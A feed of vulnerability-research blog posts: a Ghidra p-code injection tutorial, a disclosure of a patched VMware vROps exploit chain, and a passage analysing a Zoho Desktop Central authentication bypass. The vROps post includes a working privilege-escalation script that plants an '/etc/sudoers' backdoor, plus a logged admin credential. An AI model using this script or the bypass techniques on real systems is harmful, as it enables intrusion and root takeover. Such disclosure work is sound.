Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Guide to P-code Injection: Changing the intermediate representation of code on the fly in Ghidra

By: admin
2 June 2021 at 14:37

When we were developing the ghidra nodejs module for Ghidra, we realized that it was not always possible to correctly implement V8 (JavaScript engine that is used by Node.js) opcodes in SLEIGH. In such runtime environments as V8 and JVM, a single opcode might perform multiple complicated actions. To resolve this problem in Ghidra, a mechanism was designed for the dynamic injection of  p-code constructs, p-code being Ghidra’s intermediate language. Using this mechanism, we were able to transform the decompiler output from this:

to this:

Let’s look at an example with the CallRuntime opcode. It calls one function from the list of the so-called V8 Runtime functions using the kRuntimeId index. This instruction also has a variable number of arguments (range is the number of the initial argument-register; rangedst is the number of arguments). The instruction in SLEIGH, which Ghidra uses to define assembler instructions, looks like this:

This means you have to complete a whole lot of work for what would seem to be a fairly simple operation:

  1. Search for the required function name in the Runtime function array using the kRuntimeId index.
  2. Since arguments are passed through registers, you need to save their previous state.
  3. Pass a variable number of arguments to the function.
  4. Call the function and store the call result in the accumulator.
  5. Restore the previous state of registers.

If you know how to do this in SLEIGH, please let us know. We, however, decided that all this (especially the working with the variable number of register-arguments part) is not that easy (if even possible) to implement in the language for describing processor instructions, and we used the p-code dynamic injection mechanism, which the Ghidra developers implemented precisely for such cases. So, what is this mechanism?

We can create a custom user operation, such as CallRuntimeCallOther, in the assembler instruction description file (SLASPEC). Then, by changing the configuration of your module (more on this below), you can arrange it so that when Ghidra finds this instruction in the code, it will pass the processing of that instruciton back to Java dynamically, executing a callback handler that will dynamically generate p-code for the instruction, taking advantage of Java’s flexibility.

Let’s take a closer look at how this is done.

Creating User-Defined SLEIGH Operations

The CallRuntime opcode is described as follows. Read more about the description of processor instructions in SLEIGH in Natalya Tlyapova’s article.

We create the user-defined operation:

define pcodeop CallRuntimeCallOther;

And describe the instruction itself:

:CallRuntime [kRuntimeId], range^rangedst is op = 0x53; kRuntimeId; range; rangedst {
	CallRuntimeCallOther(2, 0);
}

By doing this, any opcode that starts from byte 0x53 will be decoded as CallRuntime. When we try to decompile it, the CallRuntimeCallOther operation handler will be called with arguments 2 and 0. These arguments describe the instruction type (CallRuntime) and help us write one handler for several similar instructions (such as CallWithSpread and CallUndefinedReceiver).

Necessary Housekeeping

We add a housekeeping p-code injection class: V8_PcodeInjectLibrary. We inherit this class from ghidra.program.model.lang.PcodeInjectLibrary, which implements most of the methods needed for p-code injection.

Let’s start writing the class V8_PcodeInjectLibrary from this template:

package v8_bytecode;

import …

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {

	public V8_PcodeInjectLibrary(SleighLanguage l) {

	}


}

V8_PcodeInjectLibrary won’t be used by the custom code, rather by the Ghidra engine, so we need to set the value of the pcodeInjectLibraryClass parameter in the PSPEC file so that the Ghidra engine knows which class to use for p-code injection.

<?xml version="1.0" encoding="UTF-8"?>
<processor_spec>
  <programcounter register="pc"/>
  <properties>
  	<property key="pcodeInjectLibraryClass" value="v8_bytecode.V8_PcodeInjectLibrary"/>
  </properties>
</processor_spec>

We will also need to add our CallRuntimeCallOther instruction to the CSPEC file. Ghidra will call V8_PcodeInjectLibrary only for instructions defined this way in the CSPEC file.

	<callotherfixup targetop="CallRuntimeCallOther">
		<pcode dynamic="true">			
			<input name=”outsize"/> 
		</pcode>
	</callotherfixup>

After all of these uncomplicated procedures (which, by the way, were barely described in the documentation at the time our module was being created), we can move on to writing the code.

Let’s create a HashSet, in which we will store the instructions we have implemented. We will also create and initialize a member of our class — the language variable. This code stores the CallRuntimeCallOther operation in a set of supported operations and it performs a number of housekeeping actions (we won’t go into too much detail on them).

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {
	private Set<String> implementedOps;
	private SleighLanguage language;

	public V8_PcodeInjectLibrary(SleighLanguage l) {
		super(l);
		language = l;
		String translateSpec = language.buildTranslatorTag(language.getAddressFactory(),
				getUniqueBase(), language.getSymbolTable());
		PcodeParser parser = null;
		try {
			parser = new PcodeParser(translateSpec);
		}
		catch (JDOMException e1) {
			e1.printStackTrace();
		}
		implementedOps = new HashSet<>();
		implementedOps.add("CallRuntimeCallOther");
	}
}

Thanks to the changes we have made, Ghidra will call the getPayload method of our V8_PcodeInjectLibrary class every time we try to decompile the CallRuntimeCallOther instruction. Let’s create this method, which, if there is an instruction in the list of implemented operations, will create an instance of the V8_InjectCallVariadic class (we will implement this class a little later) and return it.

@Override
	/**
	* This method is called by DecompileCallback.getPcodeInject.
	*/
	public InjectPayload getPayload(int type, String name, Program program, String context) {
		if (type == InjectPayload.CALLMECHANISM_TYPE) {
			return null;
		}

		if (!implementedOps.contains(name)) {
			return super.getPayload(type, name, program, context);
		}

		V8_InjectPayload payload = null; 
		switch (name) {
		case ("CallRuntimeCallOther"):
			payload = new V8_InjectCallVariadic("", language, 0);
			break;
		default:
			return super.getPayload(type, name, program, context);
		}

		return payload;
	}

P-Code Generation

The dynamic generation of p-code will be implemented in the V8_InjectCallVariadic class. Let’s create it and describe the operation types.

package v8_bytecode;

import …

public class V8_InjectCallVariadic extends V8_InjectPayload {

public V8_InjectCallVariadic(String sourceName, SleighLanguage language, long uniqBase) {
		super(sourceName, language, uniqBase);
	}
// Operation types. In this example, we are looking at RUNTIMETYPE
	int INTRINSICTYPE = 1;
	int RUNTIMETYPE = 2;
	int PROPERTYTYPE = 3;

	@Override
	public PcodeOp[] getPcode(Program program, InjectContext context) {
			}

	@Override
	public String getName() {
		return "InjectCallVariadic";
	}

}

It’s not hard to guess that we need to develop our implementation of the getPcode method. First, we will create a pCode object instance of the V8_PcodeOpEmitter class. This class will help us create p-code instructions (we will learn more about them later).

V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase);

Then,  we can get the address of the instruction from the context argument (the context of the code injection), which we’ll find useful later.

Address opAddr = context.baseAddr;

Using this address will help us get the object of the current instruction:

Instruction instruction = program.getListing().getInstructionAt(opAddr);

Using the context argument, we’ll also get argument values that we described earlier in SLEIGH.

Integer funcType = (int) context.inputlist.get(0).getOffset();
Integer receiver = (int) context.inputlist.get(1).getOffset();

Now we implement instruction processing and p-code generation:

// check instruction type
if (funcType != PROPERTYTYPE) {
// we get kRuntimeId — the index of the called function
			Integer index = (int) instruction.getScalar(0).getValue();
// generate p-code to call the cpool instruction using the pCode object of the V8_PcodeOpEmitter class. We will focus on this in more detail below.
			pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), 
					funcType.toString());
		}
...


// get the “register range” argument
Object[] tOpObjects = instruction.getOpObjects(2);
// get caller args count to save only necessary ones
Object[] opObjects;
Register recvOp = null;
if (receiver == 1) {
...
}
else {
opObjects = new Object[tOpObjects.length];
System.arraycopy(tOpObjects, 0, opObjects, 0, tOpObjects.length);
}


// get the number of arguments of the called function
try {
	callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount();
}
catch(Exception e) {
	callerParamsCount = 0;
}

// store old values of the aN-like registers on the stack. This helps Ghidra to better detect the number of arguments of the called function
Integer callerArgIndex = 0;
for (; callerArgIndex < callerParamsCount; callerArgIndex++) {
	pCode.emitPushCat1Value("a" + callerArgIndex);
}

// store the arguments of the called function in aN-like registers
Integer argIndex = opObjects.length;
for (Object o: opObjects) {
	argIndex--;
	Register currentOp = (Register)o;
	pCode.emitAssignVarnodeFromVarnode("a" + argIndex, currentOp.toString(), 4);
}

// function call
pCode.emitVarnodeCall("call_target", 4);

// restore old register values from the stack
while (callerArgIndex > 0) {
	callerArgIndex--;
	pCode.emitPopCat1Value("a" + callerArgIndex);
}

// return an array of p-code operations
return pCode.getPcodeOps();

Let’s now look at the logic of the V8_PcodeOpEmitter class, which is largely based on a similar module class for JVM. This class generates p-code operations using a number of methods. Let’s take a look at them in the order in which they are addressed in our code.

emitAssignVarnodeFromPcodeOpCall(String varnodeName, int size, String pcodeop, String… args)

To understand how this method works, we’ll first consider the concept of Varnode — a basic element of p-code, which is essentially any variable in p-code. Registers, local variables — they are all Varnode.

Back to the method. This method generates p-code to call the pcodeop function with the args arguments and stores the result of the function in varnodeName. The result is:

varnodeName = pcodeop(args[0], args[1], …);

emitPushCat1Value(String valueName) and emitPopCat1Value (String valueName)

Generates p-code for analogous push and pop assembler operations with Varnode valueName.

emitAssignVarnodeFromVarnode (String varnodeOutName, String varnodeInName, int size)

Generates p-code for a value assignment operationvarnodeOutName = varnodeInName.

emitVarnodeCall (String target, int size)

Generates p-code for the target function call.

Conclusion

Thanks to the p-code injection mechanism, we have managed to significantly improve the output of the Ghidra decompiler. As a result, dynamic generation of p-code is now yet another building block in our considerable toolkit — a module for analyzing Node.js scripts compiled by bytenode. The module source code is available in our repository on github.com. Happy reverse engineering!

Many thanks to my colleagues for their research into the features of Node.js and for module development: Vladimir Kononovich, Natalia Tlyapova, and Sergey Fedonin.

From Shared Dash to Root Bash :: Pre-Authenticated RCE in VMWare vRealize Operations Manager

9 August 2022 at 14:00

vROps

On May 27th, I reported a handful of security vulnerabilities to VMWare impacting their vRealize Operations Management Suite (vROps) appliance. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain using seemingly weak vulnerabilities. VMware released an advisory and patched these vulnerabilities in VMSA-2022-0022.

vROps attack flow

Motivation

This project was motivated by the excellent blog post that Egor wrote titled Catching bugs in VMware: Carbon Black Cloud Workload Appliance and vRealize Operations Manager. Egor used a pre-authenticated SSRF to leak the highly privileged credentials and then chained it with an arbitrary file upload vulnerability to gain remote code execution as admin.

As always, it provides a real challenge to find high impact web vulnerabilities against a target that had been previously audited by other security researchers.

Tested Versions

The vulnerable version at the time of testing was 8.6.3.19682901 which was the latest and deployed using the vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) file. It was released on the 28th of April 2022 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

I also tested an older version - 8.6.2.19081814 using the vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova (sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) file and confirmed that the vulnerabilities also exist in this version. The final exploit I wrote works on both versions and should work on anything in between!


MainPortalFilter ui Authentication Bypass (CVE-2022-31675)

  • CVSS: 5.6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
  • Advisory: SRC-2022-0017

The first vulnerability is in the com.vmware.vcops.ui.util.MainPortalFilter class:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        // ...
        String servletPath = request.getServletPath().toLowerCase();
        UserContext userContext = UserContextVariable.get();
        // ...
        if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
            response.setStatus(400);
        } else {
            String token1 = request.getParameter("t"); // 1

            boolean isSaasModeUser;
            boolean isResourcePath;
            boolean ssoRequested;
            try {
                if (token1 != null) { // 2
                    isSaasModeUser = UserContextVariable.isAnonymousUser();
                    DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
                    if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
                        //...
                        if (dashboardLink != null) { // 4
                            if (isResourcePath) {
                                response.sendRedirect("dashboardViewer.action");
                                filterChain.doFilter(request, servletResponse);
                                return;
                            }

                            if (ssoRequested) {
                                this.doSessionResolve(request, response);
                            } else {
                                session.setAttribute("token1", token1);
                                session.setAttribute("allowExternalAccess", true);
                                response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
                                response.sendRedirect("dashboardViewer.action?mainAction=dr");
                                filterChain.doFilter(request, servletResponse); // 5
                            }
                            // ...

At [1] the code looks for a t parameter from the incoming request and if found at [2] the code tries to find a DashboardLink instance with the code at [3]. Then if a valid DashboardLink was found at [4] the code reaches the doFilter at [5]. This allows an attacker with a valid dashboard link id to bypass authentication completely in the /ui/ struts frontend.

When an admin creates a dashboard link to share, an entry is created into the Cassandra database:

root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;

 key
--------------------------
 vcgh5fgjhs_::_ns3d5yt5vk

(1 row)
vcops_user@cqlsh>

It’s common to create and share dashboard links, since it’s by design and even expected to be embedded in a page:

After accessing the link without a valid session, we can view the associated dashboard:

The interesting thing to note here, is that port 443 is supposed to be exposed because how else could dashboard links be shared?

Exploitation

It’s not possible to leak data directly using this vulnerability since the server responds with a 302 redirect. At first, I thought I was up against the chicken and egg problem where I can only fire off requests to endpoints to change data, but I couldn’t use CSRF tokens because I couldn’t read them back due to the redirect! Oh my! However, on careful inspection I noticed that I could create a user and omit the secureToken CSRF token. This is because the call to doFilter is hit on line 120, well before the call to checkSecureToken on line 345!

An additional advantage to this vulnerability is, that an attacker can link someone to a malicious website that can backdoor the application with an admin user. Putting it together though, I can backdoor the application with an admin user without interaction if I have a shared dashboard link. The user created is restricted to the /ui/ and /suite-api/ interfaces but I wanted access to the /admin/ interface because there exists a forever day remote code execution in this component by enabling SSH access.

It looks like we are going to have to hunt another vulnerability!

SupportLogAction Information Disclosure (CVE-2022-31674)

  • CVSS: 6.5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • Advisory: SRC-2022-0019

Inside of the com.vmware.vcops.ui.action.SupportLogsAction class we find the following entry:

                if (this.mainAction.equals("getLogFileContents")) { // 1
                    lduId = this.request.getParameter("instanceId");
                    instanceId = this.request.getParameter("fileName"); // 2
                    boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
                    if (!allowedFileName) {
                        this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
                        return null;
                    } else {
                        lduId = this.request.getParameter("lduId");
                        logTypeStr = this.request.getParameter("logType");
                        LogType logType = LogType.fromString(logTypeStr);
                        linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
                        int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
                        if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
                            ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
                            // ...
                        } else {
                            this.writeJsonOutput("{status: 'can not request, missing some params'}");
                            return null;
                        }
                    }
                }

At [1] the code checks for the mainAction parameter to be the value of getLogFileContents. Then at [2] the code gets the fileName parameter and at [3] the code calls isAllowedFileName on it. This was the giveaway for me:

    public static Boolean isAllowedFileName(String fileName) {
        if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
            return false;
        } else {
            String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
            nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "/");
            return nonEncodedFileName.contains("../") ? false : true;
        }
    }

Essentially the code is looking for any log file in /storage/log/vcops/log/ directory.

Exploitation

The issue comes down to the Pak manager writing sensitive passwords into log files:

root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1

For example, in APUAT-86018696447/apply_system_update_stderr.log we see:

DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}

This occurs when a legitimate Pak file is uploaded, and an install is triggered. At first it appears that the vulnerability is within the Pak manager for logging such sensitive data, but the real vulnerability is in the exposure to a lower privileged user. VMWare removed the Pak manager interface from the /ui/ and tried to implement a little security by obscurity!

Using this vulnerability, I was able to leak the maintenanceAdmin user and trigger a password reset for the admin user because it’s the user that can login from remote via SSH:

root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash

At first when I checked, I thought I had enough privileges as root at this point, but it turns out I didn’t.

admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

Which means, more bug hunting and chaining!

generateSupportBundle VCOPS_BASE Privilege Escalation (CVE-2022-31672)

  • CVSS: 7.2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
  • Advisory: SRC-2022-0020

Inside of the /etc/sudoers file we find the following entry:

admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *

This allows low privileged users to run the script as root using sudo. Inside of the generateSupportBundle.py file we find:

try:
    VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
    # In cloudvm, this could happen - for example, if caller like cis
    # has not called the /etc/profile.d/vcops.sh.
    filePath = os.path.dirname(os.path.realpath( __file__ ))
    # Since this file is located at $VCOPS_BASE/tools, we can use relative path
    VCOPS_BASE =  os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', '/')
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)

The code heavily depends on the VCOPS_BASE environment variable at [1]. When running the script, the following code is executed:

ds = []
if options.get("action") is None:
    options["action"] = 'create'
#...
if options.get("action") == 'create':
    runGssTroubleShootingScript() # 2

The runGssTroubleShootingScript method is called if action is not supplied at [2].

def runGssTroubleShootingScript():
    gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3

    try:
        output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
    except subprocess.CalledProcessError as e:
        print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))

At [3], that method attempts to call an executable script as root and uses find_vcops_base_path to get the path location of the script:

def find_vcops_base_path():
    """Finds the VCOPS_BASE environment variable.
    @return: the VCOPS_BASE path or an exception if it cannot be found.
    """
    if 'VCOPS_BASE' in os.environ:
        vcops_base_path = os.environ['VCOPS_BASE'] # 4
    elif 'ALIVE_BASE' in os.environ:
        vcops_base_path = os.environ['ALIVE_BASE']
   # ...
   return vcops_base_path # 5

At [4] and [5] if the VCOPS_BASE environment variable is set, it will return that.

Exploitation

All an attacker needs to do is setup the environment variable before calling the script to elevate privileges.

#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers

Proof of Concept

The exploit is called DashOverride and you can download it here.

Gaining pre-authenticated remote code execution as root!


Conclusion

Each of the CVSS scores for the 3 vulnerabilities are rated moderate/high and when considered on their own, they are quite weak. But chained together their impact is significant and depending on your threat model, the authentication bypass scenario could pose a real threat if dashboard links are shared around within your organization or exposed on the perimeter.

Some of you may ask, well did you get a bounty for any of this? In which the short answer is… No.

References

ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central

20 January 2022 at 14:00

Desktop Central

On December 3, 2021, Zoho released a security advisory under CVE-2021-44515 for an authentication bypass in its ManageEngine Desktop Central and Desktop Central MSP products. On December 17, 2021, the FBI published a flash alert, including technical details and indicators of compromise (IOCs) used by threat actors. Shortly after, William Vu published an Attackerkb entry after doing some static analysis. Meanwhile during the whole of December, I was on holidays!

Why did this matter? Well, as it turns out I was sitting on a few bugs I had found in Desktop Central when I audited it back in December 2019. One of them, being an authentication bypass and after reading the FBI report I quickly relized we were dealing with the same zeroday!

At the time, I could only exploit the bug to trigger a directory traversal and write a zip file onto the target system (the same bug that was used in the wild). Since I didn’t have any vector for exploitation and I already had CVE-2020-10189 handy, I decided to leave it alone and include it as part of my Full Stack Web Attack training within module-5 (A zero-day hunt in ManageEngine Desktop Central). I even hinted to a partial authentication bypass to some students! ;->

So after coming back from holidays, I decided to give the bug some justice and understand/improve on the attack that the threat actors pulled off. First though, what is it we are dealing with here?

StateFilter Arbitrary Forward Authentication Bypass Vulnerability

Inside of the web.xml file we find the following entry:

<filter>
  <filter-name>StateFilter</filter-name>
  <filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>StateFilter</filter-name>
  <url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

Filters are triggered pre-authenticated and often used to validate clientside data such as csrf tokens, sessions, etc. Let’s check the doFilter method:

/*     */   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
/*     */     try {
/*  41 */       Long startTime = new Long(System.currentTimeMillis());
/*  42 */       request.setAttribute("TIME_TO_LOAD_START_TIME", startTime);
/*  43 */       logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
/*  44 */       StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); // 1
/*  45 */       String forwardPath = ((HttpServletRequest)request).getRequestURI();
/*  46 */       if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) { // 8 
/*     */         
/*  48 */         String path = getForwardPath((HttpServletRequest)request); // 9
/*  49 */         RequestDispatcher rd = request.getRequestDispatcher(path); // 10
/*  50 */         rd.forward(request, response); // 11
/*     */       }
/*     */       //...

At [1] the code calls stateParserGenerator.processState with the attacker controlled request:

/*     */   public static void processState(HttpServletRequest request, HttpServletResponse response) throws Exception {
/* 288 */     if (StateAPI.prevStateDataRef.get() != null) {
/*     */       return;
/*     */     }
/*     */     
/* 292 */     Cookie[] cookiesList = request.getCookies();
/* 293 */     if (cookiesList == null)
/*     */     {
/* 295 */       throw new ClientException(2, null);
/*     */     }
/*     */ 
/*     */     
/* 299 */     TreeSet set = new TreeSet(new StateUtils.CookieComparator()); // 2
/* 300 */     String contextPath = request.getContextPath();
/* 301 */     contextPath = (contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath;
/*     */     
/* 303 */     String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
/* 304 */     sessionIdName = (sessionIdName != null) ? sessionIdName : "JSESSIONID";
/*     */     
/* 306 */     for (int i = 0; i < cookiesList.length; i++) {
/*     */       //...
/* 316 */       String cookieName = cookie.getName();
/*     */       //...    
/* 334 */       if (cookieName.startsWith("_")) {
/*     */         
/* 336 */         cookiesList[i].setPath(contextPath);
/* 337 */         response.addCookie(cookiesList[i]);
/*     */       }
/* 339 */       else if (cookieName.startsWith("STATE_COOKIE")) {
/*     */         
/* 341 */         set.add(cookiesList[i]); // 3
/*     */       }
/*     */     //...
/* 369 */     if (set.size() == 0) { // 4
/*     */       
/* 371 */       request.setAttribute("STATE_MAP", NULLOBJ);
/* 372 */       if (!WebClientUtil.isRestful(request))
/*     */       {
/* 374 */         throw new ClientException(2, null);
/*     */       }
/*     */       return;
/*     */     }
/* 378 */     Iterator iterator = set.iterator();
/* 379 */     StringBuffer cookieValue = new StringBuffer();
/* 380 */     while (iterator.hasNext()) {
/* 381 */       Cookie currentCookie = (Cookie)iterator.next();
/* 382 */       String value = currentCookie.getValue();
/* 383 */       cookieValue.append(value);
/*     */     } 
/* 385 */     request.setAttribute("PREVCLIENTSTATE", cookieValue.toString());
/* 386 */     Map state = parseState(cookieValue.toString()); // 5
/*     */     //...
/* 388 */     Iterator ite = state.keySet().iterator();
/* 389 */     while (ite.hasNext()) {
/*     */       
/* 391 */       String uniqueId = (String)ite.next();
/* 392 */       Map viewMap = (Map)state.get(uniqueId);
/* 393 */       refIdVsId.put(viewMap.get("ID") + "", uniqueId);
/*     */     } 
/* 395 */     StateAPI.prevStateDataRef.set((state != null) ? state : NULLOBJ);
/* 396 */     if (state != null) {
/*     */       
/* 398 */       if (!WebClientUtil.isRestful(request)) {
/*     */         
/* 400 */         long urlTime = getTimeFromUrl(request.getRequestURI());
/* 401 */         long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME")); // 6
/* 402 */         ((Map)state.get("_REQS")).put("_ISBROWSERREFRESH", String.valueOf((urlTime != reqTime && !StateAPI.isSubRequest(request)))); // 7
/*     */       }

In order to survive StateParserGenerator.processState, the attacker will need to populate the TreeSet at [2] with a STATE_COOKIE at [3] so that they don’t crash and burn at [4]. Also, the attacker needs to use StateParserGenerator.processState method at [5] to craft a special state map containing values to survive [6] and [7]. There is no way to return null from StateParserGenerator.parseState, I already thought of that!

Once the attacker can proceed past StateParserGenerator.processState, they can set forwardPath at [8] with the provided URI and subsequently set path at [9]

/*     */   private String getForwardPath(HttpServletRequest request) {
/*  88 */     String path = request.getContextPath() + "/STATE_ID/";
/*  89 */     String forwardPath = request.getRequestURI();
/*  90 */     if (!forwardPath.startsWith(path))
/*     */     {
/*  92 */       return forwardPath;
/*     */     }
/*  94 */     int index = forwardPath.indexOf('/', path.length());
/*  95 */     if (WebClientUtil.isRestful(request)) {
/*     */       
/*  97 */       forwardPath = forwardPath.substring(path.length() - 1);
/*     */ 
/*     */     
/*     */     }
/* 101 */     else if (index > 0) {
/*     */       
/* 103 */       forwardPath = forwardPath.substring(index);
/*     */     } 
/*     */ 
/*     */     
/* 107 */     return forwardPath;
/*     */   }

Now, the code at [10] and [11] of the StateFilter.doFilter method forwards the incoming request and bypasses any further filters or interceptors within the filter chain. The fact that the forward happens inside of a filter is very powerful, it means that any HTTP verb can be used to reach dangerous API.

AgentLogUploadServlet Directory Traversal Remote Code Execution Vulnerability

This particular bug was patched in earlier versions before the StateFilter arbitrary forward was patched. As always, we start in the web.xml file:

<servlet>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

As the threat actors discovered, it was possible to reach this servlet using the StateFilter arbitrary forward:

/*     */   public void doPost(HttpServletRequest request, HttpServletResponse response) {
/*  35 */     reader = null;
/*  36 */     PrintWriter printWriter = null;
/*     */     try {
/*  38 */       computerName = request.getParameter("computerName"); // 1
/*  39 */       String domName = request.getParameter("domainName");
/*  40 */       String customerIdStr = request.getParameter("customerId");
/*  41 */       String resourceidStr = request.getParameter("resourceid");
/*  42 */       String logType = request.getParameter("logType");
/*  43 */       String fileName = request.getParameter("filename"); // 2
/*     */       //... 
/*  66 */       if (managedResourceID != null || branchId != null) {
/*     */         //... 
/*  73 */         String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName; // 3  
/*     */         //... 
/*  84 */         fileName = fileName.toLowerCase();
/*     */         
/*  86 */         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) { // 4
/*  87 */           this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
/*  88 */           response.sendError(403, "Request Refused");
/*     */           
/*     */           return;
/*     */         } 
/*  92 */         String absoluteFileName = localDirToStore + File.separator + fileName; // 5
/*     */         
/*  94 */         this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });
/*     */ 
/*     */         
/*  97 */         in = null;
/*  98 */         fout = null;
/*     */         try {
/* 100 */           in = request.getInputStream();
/* 101 */           fout = new FileOutputStream(absoluteFileName);
/*     */           
/* 103 */           byte[] bytes = new byte[10000]; int i;
/* 104 */           while ((i = in.read(bytes)) != -1) {
/* 105 */             fout.write(bytes, 0, i); // 6
/*     */           }
/* 107 */           fout.flush();
/* 108 */         } catch (Exception e1) {
/* 109 */           e1.printStackTrace();
/*     */         } finally {
/* 111 */           if (fout != null) {
/* 112 */             fout.close();
/*     */           }
/* 114 */           if (in != null) {
/* 115 */             in.close();
/*     */           }
/*     */         } 

At [1] and [2] the code gets the computerName and filename parameters from the incoming request and then at [3] the code builds a path using the controlled computerName. Then at [4] the code calls FileUploadUtil.hasVulnerabilityInFileName using zip|7z|gz as a filter:

/*     */   public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
/* 227 */     if (isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt)) {
/* 228 */       return true;
/*     */     }
